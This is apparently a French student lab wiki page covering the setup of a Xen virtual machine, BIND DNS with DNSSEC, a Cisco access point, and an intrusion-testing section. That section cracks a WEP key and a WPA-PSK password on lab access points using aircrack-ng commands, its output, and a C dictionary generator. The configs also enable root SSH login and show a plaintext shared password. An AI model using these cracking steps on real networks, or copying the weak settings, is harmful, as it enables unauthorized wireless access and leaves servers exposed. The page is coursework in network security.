TP sysres IMA2a5 2021/2022 G13 : Différence entre versions
(→Tests d'intrusion) |
(→Sécurisation du serveur DNS par DNSSEC) |
||
(27 révisions intermédiaires par le même utilisateur non affichées) | |||
Ligne 3 : | Ligne 3 : | ||
− | + | ==== Connexion sur le disque de virtualisation ==== | |
su - | su - | ||
ssh -4 capbreton.plil.info | ssh -4 capbreton.plil.info | ||
− | + | ==== Installation dans la machine virtuelle Xen ==== | |
Création de la machine virtuelle : | Création de la machine virtuelle : | ||
Ligne 64 : | Ligne 64 : | ||
passwd root | passwd root | ||
− | + | ==== Configuration de la machine virtuelle ==== | |
Installer les packages dont nous avons besoin : | Installer les packages dont nous avons besoin : | ||
apt-get update | apt-get update | ||
− | + | ==== Configuration réseau ==== | |
+ | Pour permettre l'accès à internet à ma machine virtuelle, je modifie le fichier suivant : | ||
− | ''' | + | /etc/networks/interfaces |
+ | |||
+ | # The primary network interface | ||
+ | auto eth0 | ||
+ | iface eth0 inet6 auto | ||
+ | iface eth0 inet static | ||
+ | address 10.60.100.173/24 | ||
+ | up ip address add dev eth0 193.48.57.173/32 ; ip route add default via 10.60.100.254 src 193.48.57.173 | ||
+ | down ip address del dev eth0 193.48.57.173/32 ; ip route del default via 10.60.100.254 src 193.48.57.173 | ||
+ | |||
+ | - Lancer les commandes | ||
+ | ifdown eth0 | ||
+ | ifup eth0 | ||
+ | |||
+ | ==== Configuration ssh ==== | ||
+ | |||
+ | Pour permettre l'accès à ma machine virtuelle via ssh, je modifie le fichier suivant : | ||
+ | |||
+ | /etc/ssh/sshd_config | ||
+ | |||
+ | PermitRootLogin yes | ||
+ | |||
+ | Relancer le service ssh : | ||
+ | |||
+ | service ssh restart | ||
+ | |||
+ | Pour accéder à la machine virtuelle via ssh il faut desormais taper la commande suivante : | ||
+ | ssh@193.48.57.173 | ||
+ | |||
+ | ==== Configuration DNS ==== | ||
+ | |||
+ | - Achat du nom de domaine via gandi.net : toad59.site | ||
+ | |||
+ | - Associer le nom de domaine à l'adresse ip dans gandi, dans l'onglet Glue Records --> Add | ||
+ | |||
+ | - Dans l'onglet Nameserver, sélectionner change puis : | ||
+ | Nameserver1 : ns.toad59.site | ||
+ | Nameserver2 : ns.gandi6.net | ||
+ | |||
+ | - Modifier le fichier '''/etc/bind/named.conf.options''', qui gère les options de configuration du DNS : | ||
+ | options { | ||
+ | directory "/var/cache/bind"; | ||
+ | #dnssec-validation auto; | ||
+ | listen-on-v6 { any; }; | ||
+ | allow-transfer { "allowed_to_transfer"; }; | ||
+ | }; | ||
+ | acl "allowed_to_transfer" { | ||
+ | 217.70.177.40/32; | ||
+ | }; | ||
+ | |||
+ | - Modifier le fichier de configuration '''/etc/bind/db.toad59.site''' | ||
+ | $TTL 3600 | ||
+ | @ IN SOA ns.toad59.site. postmaster.toad59.site. ( | ||
+ | 1 ; Version | ||
+ | 1800 ; Refresh (30m) | ||
+ | 600 ; Retry (10m) | ||
+ | 3600 ; Expire (1h) | ||
+ | 3600 ) ; Minimum TTL (1h) | ||
+ | @ IN NS ns.toad59.site. | ||
+ | @ IN NS ns6.gandi.net. | ||
+ | ns IN A 193.48.57.173 | ||
+ | |||
+ | - Modifier le fichier '''/etc/bind/named.conf.local''' pour déclarer les zones associées au domaine : | ||
+ | zone "toad59.site" { | ||
+ | type master; | ||
+ | file "etc/bind/db.toad59.site"; | ||
+ | }; | ||
+ | |||
+ | ==== Sécurisation du site web ==== | ||
+ | |||
+ | Il existe plusieurs façon de sécuriser le site web. Je choisis la méthode par mail. | ||
+ | |||
+ | - Créer une adresse mail via gandi.net, onglet Email : admin@toad59.site | ||
+ | |||
+ | - Accéder à l'adresse mail pour constater que le certificat a été reçu. | ||
+ | |||
+ | - Obtention d'un certificat via OpenSSL : | ||
+ | openssl req -nodes -newkey rsa:2048 -sha256 -keyout toad59.site.key -out toad59.site.csr | ||
+ | |||
+ | Dans le champ common name, il est important de saisir : toad59.site | ||
+ | |||
+ | - Acheter un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL.csr, généré à l'étape précédente. | ||
+ | |||
+ | |||
+ | ==== Sécurisation du serveur DNS par DNSSEC ==== | ||
+ | |||
+ | Il faut à présent sécuriser le serveur DNS en signant la zone correspondant à mon nom de domaine. | ||
+ | |||
+ | - Dé-commenter la ligne suivante dans le fichier '''named.conf.options''' : | ||
+ | dnssec-enable yes | ||
+ | |||
+ | - Créer un repertoire '''toad59.space.dnssec''' pour y génerer des clefs : | ||
+ | |||
+ | '''La clé asymétrique de signature de clefs de zone''' | ||
+ | dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE toad59.site | ||
+ | |||
+ | '''La clé asymétrique de zone pour les enregistrements ''' | ||
+ | dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE toad59.site | ||
+ | |||
+ | - Renommer les clefs : | ||
+ | mv Ktoad59.site.+005+26968.key toad59.site-ksk.key | ||
+ | mv Ktoad59.site.+005+26968.private toad59.site-ksk.private | ||
+ | mv Ktoad59.site.+005+27570.key toad59.site-zsk.key | ||
+ | mv Ktoad59.site.+005+27570.private toad59.site-zsk.private | ||
+ | |||
+ | - Inclure les clefs publiques dans dans le fichier db.toad59.site | ||
+ | $include /etc/bind/toad59.site.dnssec/toad59.site-ksk.key | ||
+ | $include /etc/bind/toad59.site.dnssec/toad59.site-zsk.key | ||
+ | |||
+ | - Signer les enregistrements à partir du répertoire '''toad59.space.dnssec''' | ||
+ | dnssec-signzone -o toad59.site -k toad59.site-ksk ../db.toad59.site toad59.site-zsk | ||
+ | |||
+ | - Modifier le fichier '''named.conf.local''' pour utiliser '''db.toad59.site.signed''' | ||
+ | zone "toad59.site" { | ||
+ | type master; | ||
+ | file "etc/bind/db.toad59.site.signed"; | ||
+ | }; | ||
+ | |||
+ | ==== Installation Apache ==== | ||
+ | |||
+ | Installer apache : | ||
+ | apt-get install apache2 | ||
+ | |||
+ | L'accès en local à la VM est à présent fonctionnel. Pour cela, il faut taper l'adresse IP de la VM sur navigateur web. | ||
== Passerelle capbreton == | == Passerelle capbreton == | ||
Ligne 177 : | Ligne 301 : | ||
== Tests d'intrusion == | == Tests d'intrusion == | ||
− | + | ||
+ | ==== Cassage de clef WEP d'un point d'accès WiFi ==== | ||
- Brancher une clef wifi sur le PC | - Brancher une clef wifi sur le PC | ||
Ligne 198 : | Ligne 323 : | ||
airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:53 wlan0mon | airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:53 wlan0mon | ||
J'attends qu'il y ai environ 30 000 trames de volées, ce processus prend un peu de temps. | J'attends qu'il y ai environ 30 000 trames de volées, ce processus prend un peu de temps. | ||
+ | |||
- Lancer le décryptage de la clef WEP : | - Lancer le décryptage de la clef WEP : | ||
aircrack-ng lcrack-03.cap | aircrack-ng lcrack-03.cap | ||
Ligne 214 : | Ligne 340 : | ||
On constate que 813 clef ont été testées avant de trouver la bonne. | On constate que 813 clef ont été testées avant de trouver la bonne. | ||
− | + | ==== Cassage de mot de passe WPA-PSK ==== | |
- Visualiser les interfaces | - Visualiser les interfaces | ||
Ligne 225 : | Ligne 351 : | ||
vim dico.c | vim dico.c | ||
− | + | #include <stdio.h> | |
− | + | int main(void){ | |
− | + | int x = 0; | |
− | + | for(x=0; x<=99999999; x++){ | |
− | + | printf("%08d\n",x); | |
− | + | } | |
− | } | + | } |
- Compiler dico.c : | - Compiler dico.c : |
Version actuelle datée du 29 novembre 2021 à 10:51
Sommaire
Installation de la machine virtuelle
Connexion sur le disque de virtualisation
su - ssh -4 capbreton.plil.info
Installation dans la machine virtuelle Xen
Création de la machine virtuelle :
xen-create-image --hostname=Toad --ip=193.48.57.173 --gateway=193.48.57.174 --dir=/usr/local/xen --dist=buster
Veiller à noter le mot de passe de la MV à cette étape. Celui-ci peut-être retrouvé à l'aide de la commande :
tail -f /var/log/xen-tools/Toad.log
Vérifier la création de la MV en se rendant sur les répertoires:
ls /etc/xen ls /usr/local/xen
Pour les disques : configuration RAID 5 Administration de volume logique :
lvcreate -L1G -n Toad1 lvcreate -L1G -n Toad2 lvcreate -L1G -n Toad3 lvcreate -L1G -n Toad4
Les volumes logiques sont par défaut de 1GiB. Augmenter la taille des volumes logiques:
lvextend -L +9G /dev/virtual/Toad1 lvextend -L +9G /dev/virtual/Toad2 lvextend -L +9G /dev/virtual/Toad3 lvextend -L +9G /dev/virtual/Toad4
Vérifier avec :
lvdisplay
Créer un système de fichiers étendu :
mke2fs /dev/virtual/Toad1 mke2fs /dev/virtual/Toad2 mke2fs /dev/virtual/Toad3 mke2fs /dev/virtual/Toad4
Création et modification du fichier de configuration :
xen create /etc/xen/Toad.cfg vim Toad.cfg
Dans Networking, supprimer l'@ IP et définir :
bridge = IMA2a5
Pour prenndre en compte les disques créés dans la MV, dans disk, ajouter :
'phy:/dev/virtual/Toad1, xvda3, w' 'phy:/dev/virtual/Toad2, xvda4, w' 'phy:/dev/virtual/Toad3, xvda5, w' 'phy:/dev/virtual/Toad4, xvda6, w'
Lancer la MV avec la commande :
xen create /etc/xen/Toad.cfg
On peut vérifier que la MV est démarrée avec la commande :
xl list
Pour se connecter à la console de la MV :
xen console Toad
Avec login : root et password : celui qui a été noté au début.
Si besoin de changer le mot de passe :
passwd root
Configuration de la machine virtuelle
Installer les packages dont nous avons besoin :
apt-get update
Configuration réseau
Pour permettre l'accès à internet à ma machine virtuelle, je modifie le fichier suivant :
/etc/networks/interfaces
# The primary network interface auto eth0 iface eth0 inet6 auto iface eth0 inet static address 10.60.100.173/24 up ip address add dev eth0 193.48.57.173/32 ; ip route add default via 10.60.100.254 src 193.48.57.173 down ip address del dev eth0 193.48.57.173/32 ; ip route del default via 10.60.100.254 src 193.48.57.173
- Lancer les commandes
ifdown eth0 ifup eth0
Configuration ssh
Pour permettre l'accès à ma machine virtuelle via ssh, je modifie le fichier suivant :
/etc/ssh/sshd_config
PermitRootLogin yes
Relancer le service ssh :
service ssh restart
Pour accéder à la machine virtuelle via ssh il faut desormais taper la commande suivante :
ssh@193.48.57.173
Configuration DNS
- Achat du nom de domaine via gandi.net : toad59.site
- Associer le nom de domaine à l'adresse ip dans gandi, dans l'onglet Glue Records --> Add
- Dans l'onglet Nameserver, sélectionner change puis : Nameserver1 : ns.toad59.site Nameserver2 : ns.gandi6.net
- Modifier le fichier /etc/bind/named.conf.options, qui gère les options de configuration du DNS :
options { directory "/var/cache/bind"; #dnssec-validation auto; listen-on-v6 { any; }; allow-transfer { "allowed_to_transfer"; }; }; acl "allowed_to_transfer" { 217.70.177.40/32; };
- Modifier le fichier de configuration /etc/bind/db.toad59.site
$TTL 3600 @ IN SOA ns.toad59.site. postmaster.toad59.site. ( 1 ; Version 1800 ; Refresh (30m) 600 ; Retry (10m) 3600 ; Expire (1h) 3600 ) ; Minimum TTL (1h) @ IN NS ns.toad59.site. @ IN NS ns6.gandi.net. ns IN A 193.48.57.173
- Modifier le fichier /etc/bind/named.conf.local pour déclarer les zones associées au domaine :
zone "toad59.site" { type master; file "etc/bind/db.toad59.site"; };
Sécurisation du site web
Il existe plusieurs façon de sécuriser le site web. Je choisis la méthode par mail.
- Créer une adresse mail via gandi.net, onglet Email : admin@toad59.site
- Accéder à l'adresse mail pour constater que le certificat a été reçu.
- Obtention d'un certificat via OpenSSL :
openssl req -nodes -newkey rsa:2048 -sha256 -keyout toad59.site.key -out toad59.site.csr
Dans le champ common name, il est important de saisir : toad59.site
- Acheter un certificat clé pour se connecter de façon sécurisée sur Gandi en passant par la rubrique Cerificat SSL.csr, généré à l'étape précédente.
Sécurisation du serveur DNS par DNSSEC
Il faut à présent sécuriser le serveur DNS en signant la zone correspondant à mon nom de domaine.
- Dé-commenter la ligne suivante dans le fichier named.conf.options :
dnssec-enable yes
- Créer un repertoire toad59.space.dnssec pour y génerer des clefs :
La clé asymétrique de signature de clefs de zone
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 2048 -f KSK -n ZONE toad59.site
La clé asymétrique de zone pour les enregistrements
dnssec-keygen -r /dev/urandom -a RSASHA1 -b 1024 -n ZONE toad59.site
- Renommer les clefs :
mv Ktoad59.site.+005+26968.key toad59.site-ksk.key mv Ktoad59.site.+005+26968.private toad59.site-ksk.private mv Ktoad59.site.+005+27570.key toad59.site-zsk.key mv Ktoad59.site.+005+27570.private toad59.site-zsk.private
- Inclure les clefs publiques dans dans le fichier db.toad59.site
$include /etc/bind/toad59.site.dnssec/toad59.site-ksk.key $include /etc/bind/toad59.site.dnssec/toad59.site-zsk.key
- Signer les enregistrements à partir du répertoire toad59.space.dnssec
dnssec-signzone -o toad59.site -k toad59.site-ksk ../db.toad59.site toad59.site-zsk
- Modifier le fichier named.conf.local pour utiliser db.toad59.site.signed
zone "toad59.site" { type master; file "etc/bind/db.toad59.site.signed"; };
Installation Apache
Installer apache :
apt-get install apache2
L'accès en local à la VM est à présent fonctionnel. Pour cela, il faut taper l'adresse IP de la VM sur navigateur web.
Passerelle capbreton
Une passerelle doit être mise en place sur capbreton, pour relier les VM. Il faut modifier le fichier interfaces :
nano /etc/network/interfaces
On identifie les ports ethernet sur lesquels nous sommes câblés :
ethtool -p ether n
Avec n numéro de port.
Nous sommes câblés sur les ports suivants : - ether7 : fibré pour aller jusqu'au routeur 6509 - ether6 : fibré pour aller jusqu'au routeur 9200
Configurer la passerelle comme ci-dessous :
auto IMA2a5 iface IMA2a5 inet manual bridge_ports eth6 eth7 # Bridge for L3MRIT group #
Déconfigurer, puis configurer l'interface réseau :
ifdown IMA2a5 ifup IMAa5
Vérifier la configuration :
brctl show
Configuration du point d'accés wifi
Réinitialisation des paramètres de la borne wifi :
erase startup config reload
Configuration de base :
ap>enable ap#configure terminal
Configuration du nom d'hôte :
ap(config)#hostname SE2A5-AP1
Accès ssh :
SE2A5-AP1(config)#aaa new-model SE2A5-AP1(config)#username admin privilege 15 secret glopglop SE2A5-AP1(config)#ip domain-name plil.info SE2A5-AP1(config)#crypto key generate rsa general-keys modulus 2048 SE2A5-AP1(config)#ip ssh version 2 SE2A5-AP1(config)#line vty 0 15 SE2A5-AP1(config-line)#transport input ssh SE2A5-AP1(config-line)#exit
Sécurisation des accès :
SE2A5-AP1(config)#service password-encryption SE2A5-AP1(config)#enable secret glopglop SE2A5-AP1(config)#banner motd #Restricted Access#
VLAN 173
aaa authentication login EAP_TOAD group RADIUS_TOAD radius-server host 193.48.57.173 auth-port 1812 acct-port 1813 key glopglop aaa group server radius RADIUS_TOAD server 193.48.57.173 auth-port 1812 acct-port 1813 exit dot11 ssid TOAD1 mbssid guest-mode vlan 173 authentication open eap EAP_TOAD authentication network-eap EAP_TOAD authentication key-management wpa exit interface dot11radio0.173 encapsulation dot1q 173 bridge-group 73 exit interface g0.173 encapsulation dot1q 173 bridge-group 73 exit interface dot11radio 0 no shutdown encryption vlan 173 mode ciphers aes-ccm tkip mbssid ssid TOAD1 exit
Configuration de la liaison routeur 3500 vers 9200
Afficher la liste des interfaces du routeur 3500 et leurs états :
sh ip interface brief
On constate que le port G0/39 est désactivé pour le moment. Il faut le relier au routeur 3500 via le VLAN 532.
Configuration :
configure t interface G0/39 switchport access vlan 532 switchport mode access
Tests d'intrusion
Cassage de clef WEP d'un point d'accès WiFi
- Brancher une clef wifi sur le PC
- Installer le paquet aircrack.ng
- On peut lister les interfaces disponibles, en activant le mode moniteur de la carte réseau :
airmon-ng
- Passer la carte WiFi en mode moniteur, espion du réseau sans fil :
airmon-ng start wlan0mon
wlan0mon est le nouveau nom de la carte réseau donné par défaut car le précédent est considéré comme trop long par la machine.
- Obtenir les trames WiFi sur tous les canaux :
airodump-ng --encrypt wep wlan0mon
- Noter le SSID de la machine à attaquer, ici cracotte03 : 04:DA:D2:9C:50:53
- Visulaiser les informations de cracotte03 :
airodump-ng --channel 3 --bssid 04:DA:D2:9C:50:53 wlan0mon
- Récupérer dans un fichier .cap toutes les données qui transitent sur le channel 3, uniquement les paquets échangés avec cracotte03 :
airodump-ng -w lcrack -c 3 --bssid 04:DA:D2:9C:50:53 wlan0mon
J'attends qu'il y ai environ 30 000 trames de volées, ce processus prend un peu de temps.
- Lancer le décryptage de la clef WEP :
aircrack-ng lcrack-03.cap
Résultat :
[00:00:00] Tested 813 keys (got 74481 IVs) KB depth byte(vote) 0 0/ 17 F1(96512) E7(85504) BD(84992) 6F(84736) F2(83968) FA(83712) 12(83456) 0E(82688) C8(82176) 6A(81920) 70(81664) 11(81408) 95(81408) E9(81408) 75(81152) 1 0/ 1 8E(105472) 34(86016) B3(84480) 54(84224) 2A(83456) B9(83456) 87(82688) 06(82432) 64(82432) 65(82176) 21(81920) 8D(81664) 61(81408) 2F(81152) 3C(81152) 2 5/ 2 7E(83968) 0E(82432) BF(82432) A2(82176) 0A(81920) 9C(81920) A8(81664) DF(81664) E2(81664) A7(81408) B4(81408) 33(80896) 58(80896) 90(80640) 16(80384) 3 17/ 3 5B(80896) B2(80640) 5A(80384) B1(80384) C4(80384) F6(79616) 03(79360) 33(79360) DA(79360) 73(79104) 9E(79104) 30(78848) 86(78848) AD(78848) D6(78848) 4 0/ 1 71(107008) 8D(86528) 03(83712) 7A(83712) 5E(83200) AF(82944) 50(82688) CF(82688) 54(82432) C0(82432) 21(82176) BE(81920) CB(81920) 1A(81664) B5(81408) KEY FOUND! [ F1:DE:D4:00:00:00:00:00:00:09:99:99:99 ] Decrypted correctly: 100%
On constate que 813 clef ont été testées avant de trouver la bonne.
Cassage de mot de passe WPA-PSK
- Visualiser les interfaces
airodump-ng wlan0mon
- Noter le SSID de la machine à attaquer :
44:AD:D9:5F:87:02 -40 3 0 0 8 54e. WPA2 CCMP PSK kracotte03
- Coder un "dictionnaire" en C. On suppose que la clef WPA est un code de 8 chiffres :
vim dico.c
#include <stdio.h> int main(void){ int x = 0; for(x=0; x<=99999999; x++){ printf("%08d\n",x); } }
- Compiler dico.c :
gcc -Wall dico.c
- Executer dico.c :
./a.out | more
- Enregistrer le résultat du code dans un fichier txt :
./a.out > dico.txt
- Lancer le traitement de lcrack-03 par dico.txt :
aircrack-ng -w dico.txt lcrack-03